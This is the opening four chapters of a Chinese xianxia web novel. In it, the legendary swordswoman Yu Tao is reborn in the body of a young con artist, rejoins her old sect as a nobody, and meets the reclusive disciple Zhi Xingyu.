《师兄,救我!》
1. 借尸还魂
“话说十二年前,五大宗门联手一同击溃魔教组织夜弥天,神欲行的郁桃作为天下第一,自当首当其冲,两方交战,郁桃一举击败魔教,带领五大宗门获得胜利,本以为能就此登上五大宗门的宗主之位,没想到魔教阴狠,留有后手,趁人不备一剑刺穿郁桃胸膛,将其推下悬崖,一代天之骄子,至此陨落。”
市井小街,一间茶铺,一个身着布衣的老头正在给一群小孩绘声绘色地讲述过往的传奇故事,讲到天下第一郁桃的陨落,老头带着惆怅惋惜的声音缓缓摇着头,几个孩子听了也露出难过的神色。
“太可惜了,郁桃可是天下第一,她怎么会陨落呢?”
孩子们用天真的面庞望着老头,希望他能给出一个完美的结局,老头则摸着胡须,仿佛看见了当年那个纵横江湖,天下无敌手的宗门天才郁桃:“可惜事实就是如此,十岁闻名天下,十二岁便是战无敌手,整整十年期间令魔教夜弥天闻名丧胆,守护我们一方太平,可惜这样的天才,最后却是这样的结局......”
树荫硕硕,微风轻拂,露出树上的人影,光穿过枝叶洒落在她身上,只瞧她懒散地躺在树枝上,打着哈欠,听到树下老头的声音睁开一只眼斜眯了过去。
好好的觉,给人搅没了。
少女坐起身,神情困乏,她盘着腿撑着脑袋,肚子里咕噜咕噜叫个不停,像是饿了好几顿,只见树下一辆马车驶过,少女往后一倒直接从树上落了下来。
她的落地声实在是轻巧的没有声音,如同一只猫,就连几步外听说书的孩子们都没有察觉到身后有什么动静。
“爷爷爷爷,快给我们说说,郁桃还有什么传奇故事吗?”
有,那可是多得不得了。
少女翘着嘴巴,摸摸肩颈上的大辫子。
“郁桃姐姐是不是长得非常漂亮?”
当然,她可是要武力值有武力值,要美貌有美貌的天才。
少女歪了一下脑袋得意地点点头,然后转身朝大街上走。
“郁桃姐姐有没有喜欢的人!”
少女脚步一顿,脑海中闪过一个身影,随后扭头看向那群叽叽喳喳的小屁孩,表情变得一脸嫌弃:“这群小孩,真八卦!”
老头似有所感,抬头望向街道时,早已没有任何身影。
李府。
“道长,道长,您的到来真是令寒舍蓬荜生辉啊!”
“哎哎哎,打住,我是神欲行的弟子,我师尊乃是清俊峰的真茂神君,你再怎么乱叫也不能叫我道长,我又不是道士,你得管我叫仙师。”
屋檐上一位少女悄悄趴在上面,确认底下无人后,迅速地摸进了一间屋子。
刚合上门,只见这屋内装潢简直是奢靡至极,她啧啧摇头,打量一番随后就开始在屋内找吃的。
结果找了找去,除了几个果子一壶茶,屋子里什么也没有。
“这个李思,都说你是大贪官,怎么家里连吃的也不舍得多摆点,害我白来一趟,知不知道姑奶奶我已经饿了三顿了,再不吃点东西我可真要路边乞讨去了。”少女正说着话,远处走廊上传来交谈的声音,她赶忙藏起身子贴耳去听。
“是是是,仙师,小人也不懂修仙的事情,怪我孤陋寡闻了。”
“行了,别这么多废话,你请我来到底要干吗?我的时间可是很宝贵的,我还要赶着回宗门交差呢。”
少女听到宗门两字,便透过窗户纸模糊地看了看两人。
一个衣着华贵,大腹便便,一个蓝白交领宽袖袍,眉眼几分俊俏。
“神欲行的弟子?”少女嘀咕了一声,仅凭衣服就认出了此人的身份,没办法,她太熟悉了。
“是这样的,仙师,我家中有个孩子,以往沉迷于花天酒地,不爱读书写字,可最近不知道为何突然废寝忘食地学习,任由谁叫他去玩,他都不去,一心只读圣贤书。”
蓝白衣的男子听罢,还不等他继续就打断了:“这不挺好的吗?爱读书让他读去呗,浪子回头金不换这道理你懂不懂?”
那大人却满是无奈:“仙师,可问题就在这,我这孩子什么样我自己知道,打小就不爱学习,要他读书就跟要他的命一样,学什么都学不进去,你说这样的孩子怎么可能突然爱读书了?我越想越不对劲,找人看过问过,有个医师告诉我,我家孩子......”
说着他走近了几步,神色变得紧张,讳莫如深道:
“可能是被脏东西附体了。”
此话一出,屋内的少女身形一顿,附体?难道这个人和她一样......
——借尸还魂了?
话说几日前。
一片黑暗中,郁桃只觉自己睡了很久很久,浑身饥寒交迫,想睁开眼却怎么也睁不开,一直有个人在死命摇她,等她不厌其烦睁开眼,眼前寺庙破败,一个小孩跪在她身前,满脸焦急。
“你是谁?”一开口,她就觉得喉咙干涩得厉害,想撑起身子起来却浑身无力,她下意识去摸腰间的佩剑,结果摸了个空。
“涂茶姐姐,你不记得我了吗?我是瑶瑶啊......”
小姑娘疑惑地看着她,郁桃一愣:“涂茶?”
“谁是涂茶?我是......”
郁桃还没说完,她反应过来自己的声音不对,再看向自己的手,自己的身体,一切都变得不一样,郁桃慌慌张张爬起身,一路跌跌撞撞跑到外面湖边,借着湖水她定睛一看——
眼前的这张脸,娇媚可爱,眼睛圆溜,瞧着只有十六七岁的样子。
等等,这是谁?
郁桃不可置信地摸着自己的脸,跌坐在地上过了很久才缓过神,之后她开始在街道上到处游荡,四处打探消息,才知晓如今是她死后十二年后的世界。
可她明明记得她被一剑刺穿被推下悬崖,那种极致的疼痛她还历历在目,为什么自己又复活了?还附身在一个被饿死的少女身上?
难道是借尸还魂?
她眼睛一转更加认真去听听怎么回事。
男子眉头紧皱,摆手就道:“不可能!你以为是什么话本故事,还附体了?有这本事魔教之人早就想方设法附体在修为高的人身上,还需要去杀人吸食别人修为?还需要和别人合欢获取修为?”
郁桃忍不住点点头,也是,有这本事,夜弥天的人早就用上了,还轮得到别人?
“还有,无论是附体还是什么借尸还魂,统统都是要付出代价的,天下哪有白掉馅饼的事情?我看你还是去调查调查你儿子最近和什么人接触过,别一天到晚想着什么附体,比我们还迷信。”
扑哧——
郁桃忍不住笑出声,这家伙还挺幽默。
“谁!”
也许是走近了,男子察觉到这一丝极低的动静,迅速朝此处飞来,破门而入。
郁桃暗道一声大意,忘记自己已经不再是过去那个天下第一的郁桃了,她如今是一个手无缚鸡之力的流浪儿涂茶,藏不住自己的气息。
男子的速度很快,郁桃来不及躲藏,一个回头两人就对上了眼。
他马上手中念咒,一道金色的锁链浮现在他手中。
——束缚咒。
郁桃认出了他的招式,正想迎敌突然意识到,她哪有什么灵力和修为啊!
此时,李思也匆匆赶到,看到屋内的陌生女子,大惊失色:“你是谁啊!为什么在我的屋子里?”
听到李思的话,男子勾唇一笑确认了郁桃是偷闯进来的,即刻将束缚咒下到郁桃身上,然后拔刀向前步步逼近。
“说,你是谁?为什么躲在这偷听我们说话?”
“我......”郁桃被束缚着动弹不得,她发誓五岁以后就没有这么屈辱过,居然被人用小小的束缚咒困住了。
但是,今夕不同往日,郁桃是一个非常识时务的人,也就是......
不要脸。
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只见少女说跪就跪,大喊一声:
“少侠!仙师!大哥!冤枉啊!我只是个弱女子,没钱没家,在大街上四处流浪,已经好几天没吃东西,实在是太饿了,我想李大人这么有钱,家里肯定有很多好吃的,就想来拿点吃的,没想到就碰到了少侠和李大人一同进来,这下我是逃也逃不掉只好躲在这想等你们走了再溜,少侠,仙师,我真的就只吃了几个果子......”
郁桃说着,硬是挤出几滴眼泪,一副楚楚可怜的模样。
男子看她泪眼婆娑,那吊儿郎当的眼神逐渐加深:“女飞贼?”
“对对对,女飞贼!”郁桃知道男子在担心什么,他担心她是夜弥天的人,在这里偷偷跟踪他,所以比起被当作魔教中人,还不如承认自己是个小小女飞贼。
“呵。”男子收起嘴角的笑,目光在她身上打量,手中剑冷光闪过,看上去是想宁可错杀不可放过。
郁桃没想到自己一世英名,如今要败在一个无名小卒手里。
“大侠!仙师!我真是一个流浪儿,我什么也不会,你可以试试我,我没有灵力也没有修为,包废柴的!”
男子一听,似乎在考量,就在这时,外头走廊上突然传来急促的脚步声。
“爹!我都和你说了,我没有病,你怎么就不信?还请什么仙师来驱邪……”说着,那人大步跨了进来,进来才意识到屋内有些不对,他视线从李思身上看到男子身上,最后定在郁桃脸上,“涂茶!”
郁桃眉头一跳,满脸懵。
其余两人更是一脸错愕。
李组尔瞧见郁桃被束缚在地上,一脸心疼,着急忙慌地推开男子跑来,想替她解开绳子:“涂茶!这是怎么回事?你怎么被绳子绑起来了?奇怪,这绳子我怎么解不开?没事,你等着我去给你拿剪刀!”
“等等等等!”郁桃叫住他,“你认识我?”
“当然!涂茶你不是答应我了,如果我考取状元,你就愿意嫁给我,你放心我现在很努力的在学,我一定会考上状元迎娶你过门!”
李组尔的话音一落,四周忽然变得静悄悄。
郁桃默默看了一眼李思,李思的表情变幻莫测,最后甚至不知道该怎么开口,看她的眼神有一种:你拿我儿子当傻子耍吗?
虽然郁桃不知道他们之间到底发生什么,但是就听李思之前说他儿子不学无术,怎么学怎么不行,她估摸就是涂茶不想嫁用来搪塞他的话术,毕竟李组尔是绝无可能考到状元的。
“仙师?”郁桃眯眯一笑,看着男子道,“现在你相信我了吧,我就是个骗人的女飞贼,放我走吧。”
“是你绑的她?”李组尔大概是个二愣子,听了郁桃这话也没计较什么骗人不骗人,马上指着男子毫不客气道,“我不管你这是什么妖术,赶快给她解绑!别伤着我的涂茶!”
“对对对,你不能伤害我,我……”有人当靠山,郁桃马上蹬鼻子上脸,正说着,饿了好几顿的肚子突然不合时宜地叫了几声,声音大得别人想当没听见都不行。
一时间,气氛有些尴尬。
一旁围观全程的男子算是看明白,原来这李组尔突然奋发图强,转性子,是为了这女飞贼,而这女飞贼一看就不是真心想嫁,至于她为什么在这,那声咕噜已经说明一切了。
“束缚——收。”
困住郁桃的绳子顷刻间消失,看得李组尔目瞪口呆,郁桃松了松自己的手臂,笑眯眯走上前:“多谢仙师,小女子告辞。”
说罢,郁桃才不管李组尔是什么反应,要什么解释,她转身就飞上屋檐,回头咧嘴一笑,得意又乖张:“后会无期~”
说完,跳下屋檐溜之大吉。
既然此事真相大白了,男子也不多停留,与两人告辞。
离开李府,男子闭上眼口中念咒,忽然眼中闪过一道金光,在他眼中一条金丝线游荡在空中,他嘴角一勾。
“女飞贼?”
2. 面具少年
街道上,郁桃一边丢着在李府顺来的果子玩,一边哼着歌,虽说现在没了灵力和修为,但是像这样逍遥自在的日子实在是太快乐了。
不过经历李组尔这事,郁桃也有点回过神,她如今不是郁桃了,应该叫自己涂茶。
虽然不知道因何重生,但如今人生开启新篇章,那她就要好好珍惜,过一过摆烂躺平的日子,什么天下第一,什么宗门仙家,什么正魔争斗,留给别人烦恼去吧!
郁桃,不对,涂茶,涂茶正美滋滋啃着果子,畅想未来自由的生活时,突然她脚步一顿,神色一变,猛然回过头。
身后出现了刚才那位男子。
男子似乎没想到她这么快就发现了自己,笑了一下走上前:“女飞贼,你这是要去哪?”
涂茶慢条斯理咽下嘴里果肉,俏皮地同他笑了笑:“仙师还有什么事吗?我想我应该解释清楚了,我只是肚子饿了拿点果子吃,没拿其他东西,至于那个李大人的儿子……你应该明白吧,我也是没办法了才这样骗他,我是不可能嫁给他的,若是仙师为此而来,恕我不能答应。”
男子闻言低头轻笑,那张有几分好看的脸很是不着调,他走上前,上下打量一番涂茶。
衣服破烂,粗布麻衣,瞧着糟乱,但胜在这张脸娇媚可人。
“涂…涂茶是吧?”男子亮出自己的身份牌,是仙鹤标志的令牌,“我是神欲行宗门的弟子,我叫罗雀骨,我看你挺可怜的,要不要跟我回神欲行,做个记名弟子?”
“不要。”
涂茶拒绝得非常快,几乎是他刚说完,她马上就开口了。
罗雀骨很意外,要知道神欲行乃是五大宗门之首,有多少人想进去当弟子,都没办法进,他现在相当于要给她开后门她都不去?
“你知道你在说什么吗?”
“知道。”涂茶抿嘴微微一笑,客气又疏离,“我说,我不去。”
说着,涂茶一边倒退一边和罗雀骨挥手:“多谢仙师好意,可是我不喜欢修炼,我比较喜欢这种自由自在的生活,仙师不必劝我,告辞了。”
做宗门弟子,修习练功,其实她并不讨厌,她只是不想回到那个地方,不想再过过去那种不自由的日子。
“哎!”
罗雀骨想叫住对方,不料这人飞檐走壁的本事倒是厉害,一转眼就消失了。
他叹气,挠挠自己的头。
算了,本来觉得这女飞贼蛮可爱的,想拐过来当小师妹,没想到人家不愿意,看来是没缘分咯。
罗雀骨耸耸肩,也就作罢,他还要趁没天黑回宗门复命。
立地念诀,御剑飞出,男子周身气流萦绕,蓝白衣袍扬起倒是有些仙侠之气。
“御剑——”
罗雀骨正要飞行而去,忽然拐角处传来嘈杂的吵闹声,他定睛看去,只见刚才离去的涂茶连滚带爬地跑了过来,在她身后跟着一群男女老少,手里个个拿着家伙,什么扫帚,什么凳子,还有人拿着糖葫芦,表情都恨得牙痒痒,嘴里大骂——
“女骗子!往哪里跑!”
“居然说自己是瘸腿,骗我同情心,还我十文钱!”
“吃了我的窝窝头不给钱,还我窝窝头!”
“女骗子,枉我为你浪子回头,你居然骗我感情,还我两只烧鸡!”
“骗子姐姐!我妈根本没叫我回家,还我糖葫芦!”
在一句句控诉中,涂茶吓得头也不敢回,一个劲地跑,望过来的眼神写满了救命两字,脚下恨不得装个风火轮,她伸出手向罗雀骨大喊:“少侠!仙师!大哥!救命救命!我跟你走,我跟你上山!”
打脸来得真是快。
刚才还说不上山的少女现在转头求着要上山,这不要脸的架势让人佩服。
罗雀骨看着这一幕,打算拍拍屁股跑路,他才不想摊上麻烦事,没想到涂茶以迅雷不及掩耳之势麻溜地爬上了剑,还抓着罗雀骨的衣服死命摇:“快啊!还不快飞!等会被抓到我们就惨了!”
“你!”罗雀骨刚想说这和自己有什么关系,那边大妈的扫帚就飞了过来,涂茶急了指着大妈大叫:“小心!”
趁着罗雀骨回头的一瞬间,涂茶悄悄念诀:“御剑行!”
剑身有了反应,一瞬间气流腾飞,剑身如箭飞驰而去,将追来的人全都甩在地面。
涂茶看着下面骂骂咧咧却追不上来的人长长舒了一口气:“太好了,刚才真是吓死我了。”
说罢她回过头,结果就瞧见罗雀骨满是怀疑的脸色:“为什么我的剑自己飞了?”
涂茶马上哈哈两声,眼睛提溜转:“少侠,仙师,大哥,这我怎么知道?难不成你自己的剑你自己还控制不了吗?”
每个剑修都会有属于自己的佩剑,厉害的剑修他的剑会有剑灵,剑灵认主,其他人没办法控制他的剑,但是也有例外,除非对方的能力比他强,那么剑灵会认同强者,自然就会听强者的话。
涂茶也是没想到现在毫无修为的自己也能使唤得了别人的剑,估计剑灵能认出她的灵魂吧。
“怎么可能?我的剑我当然能控制,可我刚才没有念决,它怎么会......”
“怎么不可能,它察觉到有危险了,你不跑它还不能跑吗?”
涂茶振振有词,那表情正经得不得了,她敢这么说也是因为她现在就是个无修为的废柴,没有修为是不可能驱动剑的,所以罗雀骨怎么查也查不到她头上,她只要咬死是剑灵自己干的,他还能怎么办?
罗雀骨拧紧眉头,估摸着她的话有些道理,转念又想起刚才的情形,扬起下巴质问她:“说说吧,女飞贼,不对,是女骗子,你到底骗了多少人,怎么这么多人追着你要债?”
说起这个,涂茶也是满肚子的牢骚,她也就四天前刚借尸还魂,压根没有原身的记忆,哪知道原身是个招摇撞骗的女骗子,居然骗了不少人,刚才她还吃着果子打算以后干点什么,结果遇到个大妈指着她就大骂,随后引来了一群人,不少人认出她,都跟她要债。
涂茶简直是太冤枉了。
“少侠.....”
“打住,罗雀骨。”
“雀骨仙师,小女子无父无母,流落街头,孤苦无依,时常遭受欺负,为了填饱肚子不得不招摇撞骗,如今遇到仙师,小女子总算能脱离苦海,以后我一定改过自新,金盆洗手,认真修习,做一个好弟子!”
涂茶说着举起手,一副起誓的样子。
“行行行,得了,本来以为你是个萌妹子,现在看你还是个女骗子,真不知道我带你回来是福是祸。”
罗雀骨无奈叹气,算是此事翻篇了,谁叫他喜欢漂亮妹子。
云雾绕青山,远处很快出现了几座山峰。
“那个最高的山峰就是招摇峰,那里只有内门弟子才能去......”伴随着罗雀骨的声音,涂茶望向那座困住她十年的山峰,年少成名,一朝天下闻名,为宗门为正道她付出了整整十年的青春和自由,为此她失去了自我,成为一个宗门杀器,早已忘却为何持剑,为何要成为剑修,直到最后的正魔大战付出了自己的生命。
想到这些涂茶表情冷了下来,眼中浮现出血色的杀场,她握着剑鲜血浸湿眼眸,早分不清眼前是敌是友,只知道挥剑斩尽一切靠近的人,直到一把利剑穿透胸膛,她在模糊中回头,看不清是谁,但她只记得那时候的感觉,愤怒,不可置信,一种荒谬至极的感觉如火焰燃烧着她的血液,可最后,她却突然轻轻一笑,缓缓往后倒去,如羽毛如天边滑落的流星跌落山崖。
如今江湖上都说她是被魔教杀死,实际上她是自己放弃了生
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她忘记那时候到底看见了什么,但她想那一刻,她一定是累了。
“你现在上山顶多是个记名弟子,连外门弟子都不如,你瞧那个就是外门弟子待的地方——”
闻言,涂茶抬眸看向那座山峰,开口与身旁人的声音重叠:
“弟子峰。”
耳边罗雀骨的声音还在喋喋不休,涂茶静静地望着,琥珀色的眼眸陷入回忆中,直到:“说起弟子峰,你知道神欲行的郁桃吗?那可是天下第一!想当年她也是从弟子峰走出去的,十岁在宗门大试拔得头筹,一举成名,至此被内门破格收入招摇峰,不过说起来决行神君也是从弟子峰走出去的......”
“决行?”
“对,就是梨云梦,他现在修无情道,封号决行......”
听到梨云梦修无情道,涂茶一脸不可置信,她猛地回过头抓着罗雀骨确认:“你说什么?梨云梦?!他修无情道?他怎么会去修无情道!”
“哎!你别抓我啊!这里有结界小心被撞飞掉下去!”
罗雀骨说着抬手挥开她,不想一个乌鸦嘴,剑身竟真的撞上结界,两人瞬间被结界的气流震开,涂茶没有修为站不稳直接从剑上飞了出去。
“涂茶!”
只见涂茶直直往下飞速落去,他赶忙稳住自己然后急急朝她追去。
结界的气流很强,涂茶在空中努力稳住自己的身体,试着念些咒,但是她没有修为根本没办法使用。
“该死!早知道这几天多修炼一下,也不至于现在等死。”
涂茶越靠近地面,她越难以控制自己的身体,眼看真要砸死在地上了,才忍不住大喊:“啊啊啊——救命啊——”
她还不想刚复活就这么死了!
风林响动,剑声出鞘,白衣掠过空中稳稳接住掉落的少女。
树叶凋落,池水中小鱼吐露。
少年剑收落地,身后红色发带随风轻轻落下,涂茶还没回过神紧紧抱着他尖叫:“啊啊啊啊——要死要死啊——救命啊——我不想死啊——”
“安静。”
听见一个清俊又陌生的声音,涂茶一愣,呆呆地抬起头,只见眼前突然出现了一张张牙舞爪的山鬼面具,吓得她从少年怀里翻了出去,结果碰到下坡路,直接滚了好几圈才狼狈地坐起身。
涂茶摸着摔疼的屁股,顶着满头杂草,一脸惊诧地指着那少年:“你!你!你是什么鬼啊!”
树林风吹而动,沙沙作响,少年抬手,缓缓取下脸上狰狞骇人的面具,露出一张与面具截然相反的脸。
他漂亮得简直像个女孩子。
唇红齿白,眼若桃花,俊美鬼气。
风吹过少年少女青涩的脸颊,山谷幽深,四周喧嚣,那鲜艳的红发带再次扬起,少年举着面具,眼角痣如化形的林间精怪,邪气森森。
涂茶望着少年一时间看出了神,目光从他的脸缓缓落到他胸前挂着的黑色陶埙上,不知道为什么,她觉得这个陶埙好像......
“不是鬼。”
涂茶闻声抬眼看去,少年放下面具,身后长长的黑发被挽成柔顺的高马尾,耳边还扎着一根小辫子垂在胸前,他面色冷然毫无波澜,淡淡开口道:
“枝幸雨。”
少年的声音穿过遥远的时间,让涂茶恍惚间想起某个尘封的记忆。
记得有次她陷入敌人围剿,正打算一网打尽,结果不知道从哪冲出个留着妹妹头的漂亮女孩,举着剑挡在她面前说:“别怕,我会保护你!”
声音与画面重叠,涂茶看着他的脸,看着那颗痣,忽然间恍然大悟。
原来十二年前,那个不知天高地厚说要保护自己的小屁孩——
是你啊。
“我叫枝幸雨。”
3. 通灵木
“你说枝幸雨啊,算起来他应该是我的师弟,是宗主的弟子,也是我们这一辈最有天赋的弟子,非常有可能会在今年的五大宗门大试中夺得头筹。”
山路上,涂茶跟着罗雀骨前往弟子峰登记入册,想起刚才遇到的少年忍不住多问几句:“他既然是宗主的弟子,又是新一任的宗门翘楚,说不定还是新一代天才第一,那为何一个人住在后山的君山峰?”
“这事说起来也有点久远了,大概十二年前吧…他和你一样,是个流浪儿,误打误撞进了神欲行,因为天赋极高成了宗主的弟子,后来一次比试误伤其他弟子,宗主就罚他去君山峰面壁思过,不过那家伙本就性格孤僻冷傲,不跟人打交道,罚着罚着他就不下山了,自此就一个人待在君山峰。”
“原来如此。”
罗雀骨说着话就已经领着她穿过一行人,来到了入阁楼。
只见眼前人来人往,各个人在自己的位置上忙碌着,瞧见罗雀骨和他身边的少女,记名册的男子翻了个白眼,没好气道:“怎么又带回个妹子?罗师兄你干脆办个收容所好了,专门收留天下美女,好让你过过救风尘的瘾。”
“哎,余师弟,话可不是这么说的,我带回来的确实都是美女,但她们都很有修习的天赋,你就说上回我带回来的那个冷美人是不是有剑修的天赋?”
罗雀骨说着话,抬手靠在桌面上,眼神示意涂茶走上前:“你再瞧瞧这姑娘,骨骼清奇,灵气十足,身手矫健,刚才经历了高空坠落身体一点问题都没有,一看就是个修炼的天才!”
涂茶闻言呵呵一笑,她要不是被那少年救下,你还能在这吹吗?
不过这具身体确实灵气通透,筋骨奇佳,虽然比起前世的自己来说差了不是一星半点,但确实是个剑修的好苗子。
“得了得了,我不和你掰扯,她能不能进不是你说了算,得测试!”余师弟瞟了一眼涂茶,身体往后大喊一声,“松萝!带人去测试!”
话音刚落,一个身材娇小的女孩跑了出来,她蹿到桌前打量了一番涂茶:“不错,筋骨奇佳,来,跟我去后院测试。”
涂茶看了眼罗雀骨,他点点头,两人便一同跟着松萝前往后院。
穿过长廊,涂茶不由张望起四周的变化,想当年她也是这样去测试自己的天赋能力,只是那时候神欲行远没有现在这么繁荣昌盛。
“别怕,测试很简单的,就是一根通灵木,你只要把手放上去就知道你适合什么,若是没有天赋它就不会亮,如果是这样我会给你安排个打杂的活,不会让你再流浪街头。”罗雀骨瞧见涂茶东张西望还以为她心里紧张,就开口安慰了几句。
闻言涂茶回过头,这些她自然知道,但她没想到的是......这罗雀骨瞧着不着调,做事情倒是很靠谱,若管了还真会管到底。
她扬起嘴角,难得一副乖巧的模样:“谢谢罗师兄。”
到了后院,只见庭院中一根通灵木悬浮在复杂的阵法中,四周涌动着暖流让人觉得非常舒服,然而在涂茶走进来的一瞬间,通灵木忽然开始晃动。
“奇怪?怎么又…”松萝蹙眉,念咒引来通灵木,但随着它靠近,松萝感觉到它似乎在反抗,像是......被其他什么东西吸引着。
松萝努力压制,眼看就要握到手里,通灵木突然爆发了巨大的灵力,一瞬间挣脱了咒法控制,直直冲向涂茶。
“小心!”
罗雀骨反应迅速,抬手念咒引住通灵木,松萝稳住身体后赶忙加入,空中两道法术浮现一同牵制住通灵木。
但不知道为什么,通灵木一直在反抗。
“松萝!这是怎么回事?”罗雀骨死死控制着,额头都渗出汗来。
通灵木的灵力极强,虽然没有伤人的能力,但外泄的巨大灵力足以让一个普通人受重伤。
“我不知道啊!以前从来没有过这样的情况,是不是…喂!不要过去!”
松萝紧张地大喝,罗雀骨赶紧回过头,只见涂茶如同被什么牵引着,径直走到通灵木前。
“涂茶,危险!”
少女全然不觉,她缓缓抬起手,周围的灵力开始疯狂波动,仿佛顷刻间就能震碎一个凡人的肺腑,可她却能无视一切灵力波动,在两人的惊呼中穿过气流,伸手一握——
竟直接握住了通灵木!
一瞬间通灵木震开,将罗雀骨和松萝震飞了出去,灵气汹涌奔走,两人急急稳住身子抬头,却被眼前的一幕怔在原地。
庭院里,灵气肆意,树叶狂舞,而少女稳稳站在原地,手中的通灵木如同她的法器一般,在她手里散发出蓝色的光芒,光芒沿着她的手往上,周身浮现出蓝色的纹路,直至全身开始发亮,发丝衣摆飘扬,涂茶的眼眸湛蓝如海,仿若天神下凡,气场强大,深不可测。
“这......这是怎么回事?”松萝怔怔地望着。
眼看灵气即将爆发,少女纹丝未动,只眼眸一闪,所有灵气迅速收回在手中,耀眼的光芒渐渐消失,通灵木回到了阵法中。
四周再次归于平静。
涂茶忽然晃了一下身体,眼神变得迷糊,她看向罗雀骨:“罗师兄......”
话还没有说完,她眼一翻晕倒在地。
“涂茶!”罗雀骨冲了上去。
昏昏沉沉,暗无天光。
涂茶的意识在黑暗中四处游走,体内有一股熟悉的气息在重塑肉身,这感觉并不难受,只是肉身好像承受不起,所以晕倒了。
“涂茶?涂茶!”
有个人不停在耳边呼唤,涂茶听到了,但她还在感受这股气息,努力让身体完全接受。
“涂茶!”
直到最后一丝气息被融会贯通,涂茶的身体已经重塑完成,她认出了这股气流是什么。
“涂......”
“我听到了,罗师兄。”
床榻上,少女无奈地睁开眼,看向一旁一脸焦急的罗雀骨:“我只是晕倒了,又不是要死了,你叫魂呢?”
“你还好意思说?我快被你吓死了!好好的测试搞成这样,那松萝也真是的,四天前通灵木就灵力波动不稳了,居然还让你去测试?要不是通灵木不会伤人,你早就死了!”
瞧着罗雀骨吹胡子瞪眼的样子,涂茶不由笑出声:“罗师兄,你可真像个老妈子。”
“你还说!你这一天给我出了多少幺蛾子,没事就开始嘴贱了是吧......”
罗雀骨还在喋喋不休念叨,涂茶虽看着他,思绪却飘远。
通灵木是不会伤人,因为它只是一块能承载巨大灵力的载体,但灵力波动肆虐的时候一样会伤到人,她没事,纯粹是因为——
通灵木里有她一半的修为灵力。
刚才气息完全吸收的那一刻,涂茶认出了自己体内的气息,是十二年前属于自己的修为,而灵气认主,所以才会在她进来的那一刻不受控制地朝她而去,并主动回到了她身上。若非如此,存有她灵力的通灵木若是爆发,那一刻怕是不仅她,半个神欲行都将死无全尸。
只不过她现在奇怪的是,为什么当初肉身死的时候,她的灵力没有
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消散,反而跑到通灵木里躲起来?
若是她前世灵力还存于世间,那少年的陶埙是不是......
“涂茶!”罗雀骨见她完全不在听,忍无可忍地朝着她耳朵大叫一声,成功将涂茶叫回神了,“哎哎哎!我听到了耳朵要聋了!”
“听到是吧?那你说说看,你现在被安排住在哪?”
“弟子峰呗,还能是哪......”
“还弟子峰,想美了吧!通灵木出了问题,你的测试根本没通过,要等到通灵木修复好重新测试一遍才能登记入册,所以你现在,”罗雀骨环臂而抱,从上往下用睥睨的眼神看着涂茶,“要去后山的君山峰暂住。”
“啊?”涂茶瞪大眼。
这岂不是得来全不费功夫?刚还想那少年的陶埙是不是藏着她灵力,正琢磨要怎么接近对方,没想到如今能直接住下了。
罗雀骨以为她不愿意,冷哼一声:“现在知道惨了,我实话告诉你,后山是偏地,环境条件非常一般,没人愿意去。你要是过去,除了枝幸雨你找不到任何一个人可以说话,还得住破烂小木屋,还得自己解决吃住问题。因为你非本门弟子,神欲行不养闲人,不收留吃白饭的。”
呵呵。
涂茶翻了个白眼,这神欲行还真是几十年如一日的排挤外门和非宗门大族弟子,一如既往地傲慢和霸道。
“行,好狗不挡道,我自己麻溜去。”
“你居然骂我!”
伴随着罗雀骨一声咆哮,涂茶一溜烟从房间里跑了出来,还回头对着人吐舌头扮鬼脸。
等到人追出来想抓她,院子里早就没有少女的身影了。
罗雀骨站在原地气得直挠头发:“死丫头,真是让人气得牙痒痒!行,让你先吃几天苦日子,等苦够了我再找个差事接你回来。”
日照逐渐西落,林间人影渺小。
君山峰许是鲜少有人走动,山林间的路杂草丛生,若是没看清时常会踩进被草木遮掩的深坑里。
涂茶哼着歌,手里拿着随手捡到的木棍甩来甩去,时不时摆出几个剑式。
她估摸着自己有灵力的事情容易被发现,但她又不想被发现,毕竟她是真心实意想当废柴摆烂来着,于是她试着将灵气输入这块木头,然后用一些咒术加固免得这个木头承受不住裂开。
等她刚输好灵气,远处忽然有个少女的声音响起:
“喂,你是谁!”
这声音一听就不客气,涂茶眯着眼抬起头,只见上坡路上,一个明艳张扬的少女环抱着手臂,一脸敌意地看着她。
这人,很眼熟。
涂茶停住脚,看似礼貌地微微一笑:“你又是谁?”
“这话不是我先问的吗?凭什么要我先回答!说,你为什么要来君山峰,你找幸雨师兄有什么事?我告诉你,他是我的,不许你靠近他。”
涂茶还没问,这少女自己就撂了个干净。
刚要开口她忽然察觉到什么,马上做出一副为难的模样:“姑娘,那真是太不巧了,我不能如你愿了......因为我就是来找师兄的,而且我不仅要找他,我还要缠着他,每天每天的跟着他,所以小妹妹,你可千万不要哭鼻子哦。”
“你!”一听这话少女气坏了,居然马上拔出手里的剑冲了下去。
涂茶背着手握木棍,一脸蔫坏的表情,眼看剑锋就要刺穿眼睛,她依旧一动不动。
直到树林风动,白衣疾速掠过,剑身碰撞发出刺耳的剑鸣,少女逼近的剑被震飞了。
“是谁!”
4. 师兄,救我!
少女气得扭过头大骂,却瞧见了挡在涂茶面前的白衣美少年。
“幸雨师兄!”
来人正是枝幸雨,他阴沉着脸,语气不好:“南玉昭。”
南玉昭?师兄?宗主…
涂茶听到两个人的称呼,一番思索马上就搞明白了其中的关系。
原来她是南流景的女儿。
没想到那个整日嘻嘻哈哈的南流景如今成了神欲行的宗主,不过他女儿怎么这个脾气?跟他不太像啊。
想到刚才故意激怒她让枝幸雨误会的行为,涂茶忍不住摸了摸鼻子,对不住了妹妹,等会可能还要利用你一下,以后一定补偿你。
南玉昭见自己的师兄居然在维护其他师妹,又气又恼,跺着脚,指着枝幸雨身后的涂茶破口大骂:“师兄!明明是这个贱女人先惹我的!”
“是你在伤她。”
枝幸雨说这话的时候神情并不好,似乎很厌恶这种欺负人的行为。
涂茶闻言赶紧啜泣了几声,可怜巴巴道:“师姐,我也不知道我哪里得罪你了,你要这样伤我......”
南玉昭一听这话,马上就明白是怎么回事了,她手一伸远处的剑迅速收回手中,然后剑锋越过枝幸雨直指涂茶,表情阴狠如粹了毒的蛇一般:“你这个贱女人!居然敢设计我?还想抢走我师兄!看我不杀了你!”
说罢她挥剑而来,剑气凌厉不似玩笑。
“救命啊!”
涂茶大叫一声,装作害怕的样子往前一扑,直接抱住了枝幸雨的手臂:
“师兄,救我!”
少年身形一怔,红发带被气流扬起,胸前的黑色陶埙一震,他下意识想收回手却被少女死死抓着。
“师兄我害怕。”
枝幸雨不得不侧目望去。
只见少女扎着双丸子,耳边垂着两根长辫子,眉头害怕地紧紧皱起,手很小,身体也很娇小,好像......小兔子。
南玉昭刺来的剑瞬间被枝幸雨用气墙挡住,她的能力在他之下,所以无论如何也不可能突破的。
“师兄!”
